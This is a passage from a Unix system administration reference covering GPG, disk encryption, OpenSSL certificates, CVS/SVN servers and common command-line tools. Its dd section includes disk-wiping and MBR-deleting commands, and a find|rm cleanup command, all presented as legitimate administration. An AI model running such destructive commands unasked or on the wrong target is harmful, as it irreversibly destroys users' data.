For more details see GPG Quick Start and GPG/PGP Basics and the gnupg
documentation among others.  
The private and public keys are the heart of asymmetric cryptography. What is
important to remember:

  * Your public key is used by  _others_ to encrypt files that only you as the receiver can decrypt \(not even the one who encrypted the file can decrypt it\). The public key is thus meant to be distributed.
  * Your private key is encrypted with your passphrase and is used to decrypt files which were encrypted with  _your_ public key. The private key must be kept **secure**. Also if the key or passphrase is lost, so are all the files encrypted with your public key.
  * The key files are called keyrings as they can contain more than one key.

First generate a key pair. The defaults are fine, however you will have to
enter at least your full name and email and optionally a comment. The comment
is useful to create more than one key with the same name and email. Also you
should use a "passphrase", not a simple password.

[code]

    # gpg --gen-key                      # This can take a long time
    
[/code]

The keys are stored in ~/.gnupg/ on Unix, on Windows they are typically stored
in  
C:/Documents and Settings/%USERNAME%/Application Data/gnupg/.

[code]

    ~/.gnupg/pubring.gpg                 # Contains your public keys and all others imported
    ~/.gnupg/secring.gpg                 # Can contain more than one private key
    
    
[/code]

Short reminder on most used options:

  * **-e** encrypt data
  * **-d** decrypt data
  * **-r** NAME encrypt for recipient NAME \(or 'Full Name' or 'email@domain'\)
  * **-a** create ascii armored output of a key
  * **-o** use as output file

The examples use 'Your Name' and 'Alice' as the keys are referred to by the
email or full name or partial name. For example I can use 'Colin' or 'c@cb.vu'
for my key \[Colin Barschel \(cb.vu\) <c@cb.vu>\].

### Encrypt for personal use only

No need to export/import any key for this. You have both already.

[code]

    # gpg -e -r 'Your Name' file                  # Encrypt with your public key
    # gpg -o file -d file.gpg                     # Decrypt. Use -o or it goes to stdout
    
    
[/code]

### Encrypt - Decrypt with keys

First you need to export your public key for someone else to use it. And you
need to import the public say from Alice to encrypt a file for her. You can
either handle the keys in simple ascii files or use a public key server.  
For example Alice export her public key and you import it, you can then
encrypt a file for her. That is only Alice will be able to decrypt it.

[code]

    # gpg -a -o alicekey.asc --export 'Alice'     # Alice exported her key in ascii file.
    # gpg --send-keys --keyserver subkeys.pgp.net KEYID   # Alice put her key on a server.
    # gpg --import alicekey.asc                   # You import her key into your pubring.
    # gpg --search-keys --keyserver subkeys.pgp.net 'Alice' # or get her key from a server.
    
    
[/code]

Once the keys are imported it is very easy to encrypt or decrypt a file:

[code]

    # gpg -e -r 'Alice' file                      # Encrypt the file for Alice.
    # gpg -d file.gpg -o file                     # Decrypt a file encrypted by Alice for you.
    
    
[/code]

### Key administration

[code]

    # gpg --list-keys                             # list public keys and see the KEYIDS
        The KEYID follows the '/' e.g. for: pub   1024D/D12B77CE the KEYID is D12B77CE
    # gpg --gen-revoke 'Your Name'                # generate revocation certificate
    # gpg --list-secret-keys                      # list private keys
    # gpg --delete-keys NAME                      # delete a public key from local key ring
    # gpg --delete-secret-key NAME                # delete a secret key from local key ring
    # gpg --fingerprint KEYID                     # Show the fingerprint of the key
    # gpg --edit-key KEYID                        # Edit key (e.g sign or add/del email)
    
    
[/code]

# ENCRYPT PARTITIONS

Linux with LUKS | Linux dm-crypt only | FreeBSD GELI | FBSD pwd only
There are \(many\) other alternative methods to encrypt disks, I only show
here the methods I know and use. Keep in mind that the security is only good
as long the OS has not been tempered with. An intruder could easily record the
password from the keyboard events. Furthermore the data is freely accessible
when the partition is  _attached_ and will not prevent an intruder to have
access to it in this state.

## Linux

Those instructions use the Linux `dm-crypt` \(device-mapper\) facility
available on the 2.6 kernel. In this example, lets encrypt the partition
`/dev/sdc1`, it could be however any other partition or disk, or USB or a file
based partition created with `losetup`. In this case we would use
`/dev/loop0`. See file image partition. The device mapper uses labels to
identify a partition. We use `sdc1` in this example, but it could be any
string.

### dm-crypt with LUKS

LUKS with dm-crypt has better encryption and makes it possible to have
multiple passphrase for the same partition or to change the password easily.
To test if LUKS is available, simply type `# cryptsetup --help`, if nothing
about LUKS shows up, use the instructions below Without LUKS. First create a
partition if necessary: `fdisk /dev/sdc`.

#### Create encrypted partition

[code]

    # dd if=/dev/urandom of=/dev/sdc1          # Optional. For paranoids only (takes days)
    # cryptsetup -y luksFormat /dev/sdc1       # This destroys any data on sdc1
    # cryptsetup luksOpen /dev/sdc1 sdc1
    # mkfs.ext3 /dev/mapper/sdc1               # create ext3 file system
    # mount -t ext3 /dev/mapper/sdc1 /mnt
    # umount /mnt
    # cryptsetup luksClose sdc1                # Detach the encrypted partition
    
[/code]

#### Attach

[code]

    # cryptsetup luksOpen /dev/sdc1 sdc1
    # mount -t ext3 /dev/mapper/sdc1 /mnt
    
[/code]

#### Detach

[code]

    # umount /mnt
    # cryptsetup luksClose sdc1
    
    
[/code]

### dm-crypt without LUKS

[code]

    # cryptsetup -y create sdc1 /dev/sdc1      # or any other partition like /dev/loop0
    # dmsetup ls                               # check it, will display: sdc1 (254, 0)
    # mkfs.ext3 /dev/mapper/sdc1               # This is done only the first time!
    # mount -t ext3 /dev/mapper/sdc1 /mnt
    # umount /mnt/
    # cryptsetup remove sdc1                   # Detach the encrypted partition
    
    
[/code]

Do exactly the same \(without the mkfs part\!\) to re-attach the partition. If
the password is not correct, the mount command will fail. In this case simply
remove the map sdc1 \(`cryptsetup remove sdc1`\) and create it again.

## FreeBSD

The two popular FreeBSD disk encryption modules are `gbde` and `geli`. I now
use geli because it is faster and also uses the crypto device for hardware
acceleration. See The FreeBSD handbook Chapter 18.6 for all the details. The
geli module must be loaded or compiled into the kernel:

[code]

    options GEOM_ELI
    device crypto                                       # or as module:
    # echo 'geom_eli_load="YES"' >> /boot/loader.conf   # or do: kldload geom_eli
    
    
[/code]

### Use password and key

I use those settings for a typical disk encryption, it uses a passphrase AND a
key to encrypt the master key. That is you need both the password and the
generated key `/root/ad1.key` to attach the partition. The master key is
stored inside the partition and is not visible. See below for typical USB or
file based image.

#### Create encrypted partition

[code]

    # dd if=/dev/random of=/root/ad1.key bs=64 count=1  # this key encrypts the mater key
    # geli init -s 4096 -K /root/ad1.key /dev/ad1       # -s 8192 is also OK for disks
    # geli attach -k /root/ad1.key /dev/ad1             # DO make a backup of /root/ad1.key
    # dd if=/dev/random of=/dev/ad1.eli bs=1m           # Optional and takes a long time
    # newfs /dev/ad1.eli                                # Create file system
    # mount /dev/ad1.eli /mnt
    
    
[/code]

#### Attach

[code]

    # geli attach -k /root/ad1.key /dev/ad1
    # fsck -ny -t ffs /dev/ad1.eli                      # In doubt check the file system
    # mount /dev/ad1.eli /mnt
    
    
[/code]

#### Detach

The detach procedure is done automatically on shutdown.

[code]

    # umount /mnt
    # geli detach /dev/ad1.eli
    
    
[/code]

#### /etc/fstab

The encrypted partition can be configured to be mounted with /etc/fstab. The
password will be prompted when booting. The following settings are required
for this example:

[code]

    # grep geli /etc/rc.conf
    geli_devices="ad1"
    geli_ad1_flags="-k /root/ad1.key"
    # grep geli /etc/fstab
    /dev/ad1.eli         /home/private              ufs             rw      0       0
    
    
[/code]

### Use password only

It is more convenient to encrypt a USB stick or file based image with a
passphrase only and no key. In this case it is not necessary to carry the
additional key file around. The procedure is very much the same as above,
simply without the key file. Let's encrypt a file based image `/cryptedfile`
of 1 GB.

[code]

    # dd if=/dev/zero of=/cryptedfile bs=1M count=1000  # 1 GB file
    # mdconfig -at vnode -f /cryptedfile
    # geli init /dev/md0                                # encrypts with password only
    # geli attach /dev/md0
    # newfs -U -m 0 /dev/md0.eli
    # mount /dev/md0.eli /mnt
    # umount /dev/md0.eli
    # geli detach md0.eli
    
    
[/code]

It is now possible to mount this image on an other system with the password
only.

[code]

    # mdconfig -at vnode -f /cryptedfile
    # geli attach /dev/md0
    # mount /dev/md0.eli /mnt
    
    
[/code]

# SSL CERTIFICATES

So called SSL/TLS certificates are cryptographic public key certificates and
are composed of a public and a private key. The certificates are used to
authenticate the endpoints and encrypt the data. They are used for example on
a web server \(https\) or mail server \(imaps\).

## Procedure

  * We need a certificate authority to sign our certificate. This step is usually provided by a vendor like Thawte, Verisign, etc., however we can also create our own.
  * Create a certificate signing request. This request is like an unsigned certificate \(the public part\) and already contains all necessary information. The certificate request is normally sent to the authority vendor for signing. This step also creates the private key on the local machine.
  * Sign the certificate with the certificate authority.
  * If necessary join the certificate and the key in a single file to be used by the application \(web server, mail server etc.\).

## Configure OpenSSL

We use /usr/local/certs as directory for this example check or edit
/etc/ssl/openssl.cnf accordingly to your settings so you know where the files
will be created. Here are the relevant part of openssl.cnf:

[code]

    [ CA_default ]
    dir             = /usr/local/certs/CA       # Where everything is kept
    certs           = $dir/certs                # Where the issued certs are kept
    crl_dir         = $dir/crl                  # Where the issued crl are kept
    database        = $dir/index.txt            # database index file.
    
    
[/code]

Make sure the directories exist or create them

[code]

    # mkdir -p /usr/local/certs/CA
    # cd /usr/local/certs/CA
    # mkdir certs crl newcerts private
    # echo "01" > serial                        # Only if serial does not exist
    # touch index.txt
    
    
[/code]

If you intend to get a signed certificate from a vendor, you only need a
certificate signing request \(CSR\). This CSR will then be signed by the
vendor for a limited time \(e.g. 1 year\).

## Create a certificate authority

If you do not have a certificate authority from a vendor, you'll have to
create your own. This step is not necessary if one intend to use a vendor to
sign the request. To make a certificate authority \(CA\):

[code]

    # openssl req -new -x509 -days 730 -config /etc/ssl/openssl.cnf \
    -keyout CA/private/cakey.pem -out CA/cacert.pem
    
    
[/code]

## Create a certificate signing request

To make a new certificate \(for mail server or web server for example\), first
create a request certificate with its private key. If your application do not
support encrypted private key \(for example UW-IMAP does not\), then disable
encryption with `-nodes`.

[code]

    # openssl req -new -keyout newkey.pem -out newreq.pem \
    -config /etc/ssl/openssl.cnf
    # openssl req -nodes -new -keyout newkey.pem -out newreq.pem \
    -config /etc/ssl/openssl.cnf                # No encryption for the key
    
    
[/code]

Keep this created CSR \(`newreq.pem`\) as it can be signed again at the next
renewal, the signature onlt will limit the validity of the certificate. This
process also created the private key `newkey.pem`.

## Sign the certificate

The certificate request has to be signed by the CA to be valid, this step is
usually done by the vendor.  _Note: replace "servername" with the name of your
server in the next commands_.

[code]

    # cat newreq.pem newkey.pem > new.pem
    # openssl ca -policy policy_anything -out servernamecert.pem \
    -config /etc/ssl/openssl.cnf -infiles new.pem
    # mv newkey.pem servernamekey.pem
    
    
[/code]

Now servernamekey.pem is the private key and servernamecert.pem is the server
certificate.

## Create united certificate

The IMAP server wants to have both private key and server certificate in the
same file. And in general, this is also easier to handle, but the file has to
be kept securely\!. Apache also can deal with it well. Create a file
servername.pem containing both the certificate and key.

  * Open the private key \(servernamekey.pem\) with a text editor and copy the private key into the "servername.pem" file.
  * Do the same with the server certificate \(servernamecert.pem\).

The final servername.pem file should look like this:  
  

[code]

    -----BEGIN RSA PRIVATE KEY-----
    MIICXQIBAAKBgQDutWy+o/XZ/[...]qK5LqQgT3c9dU6fcR+WuSs6aejdEDDqBRQ
    -----END RSA PRIVATE KEY-----
    -----BEGIN CERTIFICATE-----
    MIIERzCCA7CgAwIBAgIBBDANB[...]iG9w0BAQQFADCBxTELMAkGA1UEBhMCREUx
    -----END CERTIFICATE-----
    
    
[/code]

What we have now in the directory /usr/local/certs/:

  * CA/private/cakey.pem  _\(CA server private key\)_
  * CA/cacert.pem  _\(CA server public key\)_
  * certs/servernamekey.pem  _\(server private key\)_
  * certs/servernamecert.pem  _\(server signed certificate\)_
  * certs/servername.pem  _\(server certificate with private key\)_

Keep the private key secure\!

## View certificate information

To view the certificate information simply do:

[code]

    # openssl x509 -text -in servernamecert.pem      # View the certificate info
    # openssl req -noout -text -in server.csr        # View the request info
    # openssl s_client -connect cb.vu:443            # Check a web server certificate
    
    
[/code]

# CVS

Server setup | CVS test | SSH tunneling | CVS usage
## Server setup

### Initiate the CVS

Decide where the main repository will rest and create a root cvs. For example
/usr/local/cvs \(as root\):

[code]

    # mkdir -p /usr/local/cvs
    # setenv CVSROOT /usr/local/cvs      # Set CVSROOT to the new location (local)
    # cvs init                           # Creates all internal CVS config files
    # cd /root
    # cvs checkout CVSROOT               # Checkout the config files to modify them
    # cd CVSROOT
    edit config ( fine as it is)
    # cvs commit config
    cat >> writers                       # Create a writers file (optionally also readers)
    colin
    ^D                                   # Use [Control][D] to quit the edit
    # cvs add writers                    # Add the file writers into the repository
    # cvs edit checkoutlist
    # cat >> checkoutlist
    writers
    ^D                                   # Use [Control][D] to quit the edit
    # cvs commit                         # Commit all the configuration changes
    
    
[/code]

Add a **readers** file if you want to differentiate read and write permissions
_Note:_ Do not \(ever\) edit files directly into the main cvs, but rather
checkout the file, modify it and check it in. We did this with the file
**writers** to define the write access.  
There are three popular ways to access the CVS at this point. The first two
don't need any further configuration. See the examples on CVSROOT below for
how to use them:

  * Direct local access to the file system. The user\(s\) need sufficient file permission to access the CS directly and there is no further authentication in addition to the OS login. However this is only useful if the repository is local.
  * Remote access with ssh with the ext protocol. Any use with an ssh shell account and read/write permissions on the CVS server can access the CVS directly with ext over ssh without any additional tunnel. There is no server process running on the CVS for this to work. The ssh login does the authentication.
  * Remote access with pserver \(default port: 2401/tcp\). This is the preferred use for larger user base as the users are authenticated by the CVS pserver with a dedicated password database, there is therefore no need for local users accounts. This setup is explained below.

### Network setup with inetd

The CVS can be run locally only if a network access is not needed. For a
remote access, the daemon inetd can start the pserver with the following line
in /etc/inetd.conf \(/etc/xinetd.d/cvs on SuSE\):

[code]

    cvspserver   stream  tcp  nowait  cvs  /usr/bin/cvs  cvs \
    --allow-root=/usr/local/cvs pserver
    
    
[/code]

It is a good idea to block the cvs port from the Internet with the firewall
and use an ssh tunnel to access the repository remotely.

### Separate authentication

It is possible to have cvs users which are not part of the OS \(no local
users\). This is actually probably wanted too from the security point of view.
Simply add a file named **passwd** \(in the CVSROOT directory\) containing the
users login and password in the crypt format. This is can be done with the
apache htpasswd tool.  
_Note:_ This passwd file is the only file which has to be edited directly in
the CVSROOT directory. Also it won't be checked out. More info with htpasswd
--help

[code]

    # htpasswd -cb passwd user1 password1  # -c creates the file
    # htpasswd -b passwd user2 password2
    
    
[/code]

Now add `:cvs` at the end of each line to tell the cvs server to change the
user to cvs \(or whatever your cvs server is running under\). It looks like
this:

[code]

    # cat passwd
    user1:xsFjhU22u8Fuo:cvs
    user2:vnefJOsnnvToM:cvs
    
    
[/code]

## Test it

Test the login as normal user \(for example here me\)

[code]

    # cvs -d :pserver:colin@192.168.50.254:/usr/local/cvs login
    Logging in to :pserver:colin@192.168.50.254:2401/usr/local/cvs
    CVS password:
    
    
    
[/code]

### CVSROOT variable

This is an environment variable used to specify the location of the repository
we're doing operations on. For local use, it can be just set to the directory
of the repository. For use over the network, the transport protocol must be
specified. Set the CVSROOT variable with `setenv CVSROOT string` on a csh,
tcsh shell, or with `export CVSROOT=string` on a sh, bash shell.

[code]

    # setenv CVSROOT :pserver:<username>@<host>:/cvsdirectory
    _For example:_
    # setenv CVSROOT /usr/local/cvs                               # Used locally only
    # setenv CVSROOT :local:/usr/local/cvs                        # Same as above
    # setenv CVSROOT :ext:user@cvsserver:/usr/local/cvs           # Direct access with SSH
    # setenv CVS_RSH ssh                                          # for the ext access
    # setenv CVSROOT :pserver:user@cvsserver.254:/usr/local/cvs   # network with pserver
    
    
[/code]

When the login succeeded one can import a new project into the repository:
**cd into** your project root directory

[code]

    cvs import <module name> <vendor tag> <initial tag>
    cvs -d :pserver:colin@192.168.50.254:/usr/local/cvs import MyProject MyCompany START
    
    
[/code]

Where MyProject is the name of the new project in the repository \(used later
to checkout\). Cvs will import the current directory content into the new
project.  
  
To checkout:

[code]

    # cvs -d :pserver:colin@192.168.50.254:/usr/local/cvs checkout MyProject
    _or_
    # setenv CVSROOT :pserver:colin@192.168.50.254:/usr/local/cvs
    # cvs checkout MyProject
    
    
[/code]

## SSH tunneling for CVS

We need 2 shells for this. On the first shell we connect to the cvs server
with ssh and port-forward the cvs connection. On the second shell we use the
cvs normally as if it where running locally.  
on shell 1:

[code]

    # ssh -L2401:localhost:2401 colin@cvs_server   # Connect directly to the CVS server. Or:
    # ssh -L2401:cvs_server:2401 colin@gateway     # Use a gateway to reach the CVS
    
[/code]

on shell 2:

[code]

    # setenv CVSROOT :pserver:colin@localhost:/usr/local/cvs
    # cvs login
    Logging in to :pserver:colin@localhost:2401/usr/local/cvs
    CVS password:
    # cvs checkout MyProject/src
    
    
[/code]

## CVS commands and usage

### Import

The import command is used to add a whole directory, it must be run from
within the directory to be imported. Say the directory /devel/ contains all
files and subdirectories to be imported. The directory name on the CVS \(the
module\) will be called "myapp".

[code]

    # cvs import [options] directory-name vendor-tag release-tag
    # cd /devel                          # Must be inside the project to import it
    # cvs import myapp Company R1_0      # Release tag can be anything in one word
    
    
[/code]

After a while a new directory "/devel/tools/" was added and it has to be
imported too.

[code]

    # cd /devel/tools
    # cvs import myapp/tools Company R1_0
    
    
[/code]

### Checkout update add commit

[code]

    # cvs co myapp/tools                 # Will only checkout the directory tools
    # cvs co -r R1_1 myapp               # Checkout myapp at release R1_1 (is sticky)
    # cvs -q -d update -P                # A typical CVS update
    # cvs update -A                      # Reset any sticky tag (or date, option)
    # cvs add newfile                    # Add a new file
    # cvs add -kb newfile                # Add a new binary file
    # cvs commit file1 file2             # Commit the two files only
    # cvs commit -m "message"            # Commit all changes done with a message
    
    
[/code]

### Create a patch

It is best to create and apply a patch from the working development directory
related to the project, or from within the source directory.

[code]

    # cd /devel/project
    # diff -Naur olddir newdir > patchfile # Create a patch from a directory or a file
    # diff -Naur oldfile newfile > patchfile
    
    
[/code]

### Apply a patch

Sometimes it is necessary to strip a directory level from the patch, depending
how it was created. In case of difficulties, simply look at the first lines of
the patch and try -p0, -p1 or -p2.

[code]

    # cd /devel/project
    # patch --dry-run -p0 < patchfile    # Test the path without applying it
    # patch -p0 < patchfile
    # patch -p1 < patchfile              # strip off the 1st level from the path
    
    
[/code]

# SVN

Server setup | SVN+SSH | SVN over http | SVN usage
Subversion \(SVN\) is a version control system designed to be the successor of
CVS \(Concurrent Versions System\). The concept is similar to CVS, but many
shortcomings where improved. See also the SVN book.

## Server setup

The initiation of the repository is fairly simple \(here for example
`/home/svn/` must exist\):

[code]

    # svnadmin create --fs-type fsfs /home/svn/project1
    
[/code]

Now the access to the repository is made possible with:

  * `file://` Direct file system access with the svn client with. This requires local permissions on the file system.
  * `svn://` or `svn+ssh://` Remote access with the svnserve server \(also over SSH\). This requires local permissions on the file system \(default port: 2690/tcp\).
  * `http://` Remote access with webdav using apache. No local users are necessary for this method.

Using the local file system, it is now possible to import and then check out
an existing project. Unlike with CVS it is not necessary to cd into the
project directory, simply give the full path:

[code]

    # svn import /project1/ file:///home/svn/project1/trunk -m 'Initial import'
    # svn checkout file:///home/svn/project1
    
    
[/code]

The new directory "trunk" is only a convention, this is not required.

### Remote access with ssh

No special setup is required to access the repository via ssh, simply replace
`file://` with `svn+ssh/hostname`. For example:

[code]

    # svn checkout svn+ssh://hostname/home/svn/project1
    
[/code]

As with the local file access, every user needs an ssh access to the server
\(with a local account\) and also read/write access. This method might be
suitable for a small group. All users could belong to a subversion group which
owns the repository, for example:

[code]

    # groupadd subversion
    # groupmod -A user1 subversion
    # chown -R root:subversion /home/svn
    # chmod -R 770 /home/svn
    
    
[/code]

### Remote access with http \(apache\)

Remote access over http \(https\) is the only good solution for a larger user
group. This method uses the apache authentication, not the local accounts.
This is a typical but small apache configuration:

[code]

    LoadModule dav_module         modules/mod_dav.so
    LoadModule dav_svn_module     modules/mod_dav_svn.so
    LoadModule authz_svn_module   modules/mod_authz_svn.so    # Only for access control
    
    
[/code]

[code]

    <Location /svn>
      DAV svn
      # any "/svn/foo" URL will map to a repository /home/svn/foo
      SVNParentPath /home/svn
      AuthType Basic
      AuthName "Subversion repository"
      AuthzSVNAccessFile /etc/apache2/svn.acl
      AuthUserFile /etc/apache2/svn-passwd
      Require valid-user
    </Location>
    
    
[/code]

The apache server needs full access to the repository:

[code]

    # chown -R www:www /home/svn
    
[/code]

Create a user with htpasswd2:

[code]

    # htpasswd -c /etc/svn-passwd user1  # -c creates the file
    
[/code]

#### Access control svn.acl example

[code]

    # Default it read access. "* =" would be default no access
    [/]
    * = r
    [groups]
    project1-developers = joe, jack, jane
    # Give write access to the developers
    [project1:]
    @project1-developers = rw
    
    
[/code]

## SVN commands and usage

See also the Subversion Quick Reference Card. Tortoise SVN is a nice Windows
interface.

### Import

A new project, that is a directory with some files, is imported into the
repository with the `import` command. Import is also used to add a directory
with its content to an existing project.

[code]

    # svn help import                                # Get help for any command
        # Add a new directory (with content) into the src dir on project1
    # svn import /project1/newdir http://host.url/svn/project1/trunk/src -m 'add newdir'
    
    
[/code]

### Typical SVN commands

[code]

    # svn co http://host.url/svn/project1/trunk      # Checkout the most recent version
        # Tags and branches are created by copying
    # svn mkdir http://host.url/svn/project1/tags/   # Create the tags directory
    # svn copy -m "Tag rc1 rel." http://host.url/svn/project1/trunk \
                                 http://host.url/svn/project1/tags/1.0rc1
    # svn status [--verbose]                         # Check files status into working dir
    # svn add src/file.h src/file.cpp                # Add two files
    # svn commit -m 'Added new class file'           # Commit the changes with a message
    # svn ls http://host.url/svn/project1/tags/      # List all tags
    # svn move foo.c bar.c                           # Move (rename) files
    # svn delete some_old_file                       # Delete files
    
    
[/code]

# USEFUL COMMANDS

less | vi | mail | tar | dd | screen | find | Miscellaneous
## less

The `less` command displays a text document on the console. It is present on
most installation.

[code]

    # less unixtoolbox.xhtml
    
[/code]

Some important commands are \(^N stands for \[control\]-\[N\]\):

  * **h H** good help on display
  * **f ^F ^V SPACE** Forward one window \(or N lines\).
  * **b ^B ESC-v** Backward one window \(or N lines\).
  * **F** Forward forever; like "tail -f".
  * **/pattern** Search forward for \(N-th\) matching line.
  * **?pattern** Search backward for \(N-th\) matching line.
  * **n** Repeat previous search \(for N-th occurrence\).
  * **N** Repeat previous search in reverse direction.
  * **q** quit

## vi

Vi is present on ANY Linux/Unix installation \(not gentoo?\) and it is
therefore useful to know some basic commands. There are two modes: command
mode and insertion mode. The commands mode is accessed with **\[ESC\]** , the
insertion mode with **i**. Use `: help` if you are lost.  
The editors `nano` and `pico` are usually available too and are easier
\(IMHO\) to use.

### Quit

  * **:w** newfilename save the file to newfilename
  * **:wq or :x** save and quit
  * **:q\!** quit without saving

### Search and move

  * **/string** Search forward for string
  * **?string** Search back for string
  * **n** Search for next instance of string
  * **N** Search for previous instance of string
  * **\{** Move a paragraph back
  * **\}** Move a paragraph forward
  * **1G** Move to the first line of the file
  * **nG** Move to the n th line of the file
  * **G** Move to the last line of the file
  * **:%s/OLD/NEW/g** Search and replace every occurrence

### Delete text

  * **dd** delete current line
  * **D** Delete to the end of the line
  * **dw** Delete word
  * **x** Delete character
  * **u** Undo last
  * **U** Undo all changes to current line

## mail

The `mail` command is a basic application to read and send email, it is
usually installed. To send an email simply type "mail user@domain". The first
line is the subject, then the mail content. Terminate and send the email with
a single dot \(.\) in a new line. Example:

[code]

    # mail c@cb.vu
    Subject: Your text is full of typos
    "For a moment, nothing happened. Then, after a second or so, 
    nothing continued to happen."
    .
    EOT
    #
    
    
[/code]

This is also working with a pipe:

[code]

    # echo "This is the mail body" | mail c@cb.vu
    
[/code]

This is also a simple way to test the mail server.

## tar

The command `tar` \(tape archive\) creates and extracts archives of file and
directories. The archive .tar is uncompressed, a compressed archive has the
extension .tgz or .tar.gz \(zip\) or .tbz \(bzip2\). Do not use absolute path
when creating an archive, you probably want to unpack it somewhere else. Some
typical commands are:

### Create

[code]

    # cd /
    # tar -cf home.tar home/        # archive the whole /home directory (c for create)
    # tar -czf home.tgz home/       # same with zip compression
    # tar -cjf home.tbz home/       # same with bzip2 compression
    
    
[/code]

Only include one \(or two\) directories from a tree, but keep the relative
structure. For example archive /usr/local/etc and /usr/local/www and the first
directory in the archive should be local/.

[code]

    # tar -C /usr -czf local.tgz local/etc local/www
    # tar -C /usr -xzf local.tgz    # To untar the local dir into /usr
    # cd /usr; tar -xzf local.tgz   # Is the same as above
    
    
[/code]

### Extract

[code]

    # tar -tzf home.tgz             # look inside the archive without extracting (list)
    # tar -xf home.tar              # extract the archive here (x for extract)
    # tar -xzf home.tgz             # same with zip compression
    # tar -xjf home.tbz             # same with bzip2 compression
    # tar -xjf home.tbz home/colin/file.txt    # Restore a single file
    
    
[/code]

### More advanced

[code]

    # tar c dir/ | gzip | ssh user@remote 'dd of=dir.tgz' # arch dir/ and store remotely.
    # tar cvf - `find . -print` > backup.tar              # arch the current directory.
    # tar -cf - -C /etc . | tar xpf - -C /backup/etc      # Copy directories
    # tar -cf - -C /etc . | ssh user@remote tar xpf - -C /backup/etc      # Remote copy.
    # tar -czf home.tgz --exclude '*.o' --exclude 'tmp/' home/
    
    
[/code]

## dd

The program `dd` \(disk dump or destroy disk or see the meaning of dd\) is
used to copy partitions and disks and for other copy tricks. Typical usage:

[code]

    # dd if=<source> of=<target> bs=<byte size> conv=<conversion>
    
[/code]

Important conv options:

  * `notrunc` do not truncate the output file, all zeros will be written as zeros.
  * `noerror` continue after read errors \(e.g. bad blocks\)
  * `sync` pad every input block with Nulls to ibs-size

The default byte size is 512 \(one block\). The MBR, where the partition table
is located, is on the first block, the first 63 blocks of a disk are empty.
Larger byte sizes are faster to copy but require also more memory.

### Backup and restore

[code]

    # dd if=/dev/hda of=/dev/hdc bs=16065b                # Copy disk to disk (same size)
    # dd if=/dev/sda7 of=/home/root.img bs=4096 conv=notrunc,noerror # Backup /
    # dd if=/home/root.img of=/dev/sda7 bs=4096 conv=notrunc,noerror # Restore /
    # dd bs=1M if=/dev/ad4s3e | gzip -c > ad4s3e.gz                  # Zip the backup
    # gunzip -dc ad4s3e.gz | dd of=/dev/ad0s3e bs=1M                 # Restore the zip
    # dd bs=1M if=/dev/ad4s3e | gzip | ssh eedcoba@fry 'dd of=ad4s3e.gz' # also remote
    # gunzip -dc ad4s3e.gz | ssh eedcoba@host 'dd of=/dev/ad0s3e bs=1M'
    # dd if=/dev/ad0 of=/dev/ad2 skip=1 seek=1 bs=4k conv=noerror    # Skip MBR
        # This is necessary if the destination (ad2) is smaller.
    
    
[/code]

### Recover

The command `dd` will read  _every single block_ of the partition, even the
blocks. In case of problems it is better to use the option `conv=sync,noerror`
so dd will skip the bad block and write zeros at the destination. Accordingly
it is important to set the block size equal or smaller than the disk block
size. A 1k size seems safe, set it with `bs=1k`. If a disk has bad sectors and
the data should be recovered from a partition, create an image file with dd,
mount the image and copy the content to a new disk. With the option `noerror`,
dd will skip the bad sectors and write zeros instead, thus only the data
contained in the bad sectors will be lost.

[code]

    # dd if=/dev/hda of=/dev/null bs=1m                   # Check for bad blocks
    # dd bs=1k if=/dev/hda1 conv=sync,noerror,notrunc | gzip | ssh \ # Send to remote
    root@fry 'dd of=hda1.gz bs=1k'
    # dd bs=1k if=/dev/hda1 conv=sync,noerror,notrunc of=hda1.img    # Store into an image
    # mount -o loop /hda1.img /mnt                        # Mount the image
    # rsync -ax /mnt/ /newdisk/                           # Copy on a new disk
    # dd if=/dev/hda of=/dev/hda                          # Refresh the magnetic state
      # The above is useful to refresh a disk. It is perfectly safe, but must be unmounted.
    
    
[/code]

### Delete

[code]

    # dd if=/dev/zero of=/dev/hdc                         # Delete full disk
    # dd if=/dev/urandom of=/dev/hdc                      # Delete full disk better
    # kill -USR1 PID                                      # View dd progress (Linux)
    # kill -INFO PID                                      # View dd progress (FreeBSD)
    
    
[/code]

### MBR tricks

The MBR contains the boot loader and the partition table and is 512 bytes
small. The first 446 are for the boot loader, the bytes 446 to 512 are for the
partition table.

[code]

    # dd if=/dev/sda of=/mbr_sda.bak bs=512 count=1       # Backup the full MBR
    # dd if=/dev/zero of=/dev/sda bs=512 count=1          # Delete MBR and partition table
    # dd if=/mbr_sda.bak of=/dev/sda bs=512 count=1       # Restore the full MBR
    # dd if=/mbr_sda.bak of=/dev/sda bs=446 count=1       # Restore only the boot loader
    # dd if=/mbr_sda.bak of=/dev/sda bs=1 count=64 skip=446 seek=446 # Restore partition table
    
    
[/code]

## screen

Screen has two main functionalities:

  * Run multiple terminal session within a single terminal.
  * A started program is decoupled from the real terminal and can thus run in the background. The real terminal can be closed and reattached later.

### Short start example

start screen with:

[code]

    # screen
    
[/code]

Within the screen session we can start a long lasting program \(like top\).

[code]

    # top
    
[/code]

Now detach with **Ctrl-a Ctrl-d**. Reattach the terminal with:

[code]

    # screen -R -D
    
[/code]

In detail this means: If a session is running, then reattach. If necessary
detach and logout remotely first. If it was not running create it and notify
the user. Or:

[code]

    # screen -x
    
[/code]

Attach to a running screen in a multi display mode. The console is thus shared
among multiple users. Very useful for team work/debug\!

### Screen commands \(within screen\)

All screen commands start with **Ctrl-a**.

  * **Ctrl-a ?** help and summary of functions
  * **Ctrl-a c** create an new window \(terminal\)
  * **Ctrl-a Ctrl-n and Ctrl-a Ctrl-p** to switch to the next or previous window in the list, by number.
  * **Ctrl-a Ctrl-N** where N is a number from 0 to 9, to switch to the corresponding window.
  * **Ctrl-a "** to get a navigable list of running windows
  * **Ctrl-a a** to clear a missed Ctrl-a
  * **Ctrl-a Ctrl-d** to disconnect and leave the session running in the background
  * **Ctrl-a x** lock the screen terminal with a password

The screen session is terminated when the program within the running terminal
is closed and you logout from the terminal.

## Find

Some important options:

  * `-x` \(on BSD\) `-xdev` \(on Linux\) Stay on the same file system \(dev in fstab\).
  * `-exec cmd {} \;` Execute the command and replace \{\} with the full path
  * `-iname` Like -name but is case insensitive
  * `-ls` Display information about the file \(like ls -la\)
  * `-size n` n is +-n \(k M G T P\)
  * `-cmin n` File's status was last changed n minutes ago.

[code]

    # find . -type f ! -perm -444        # Find files not readable by all
    # find . -type d ! -perm -111        # Find dirs not accessible by all
    # find /home/user/ -cmin 10 -print   # Files created or modified in the last 10 min.
    # find . -name '*.[ch]' | xargs grep -E 'expr' # Search 'expr' in this dir and below.
    # find / -name "*.core" | xargs rm   # Find core dumps and delete them (also try core.*)
    # find / -name "*.core" -print -exec rm {} \;  # Other syntax
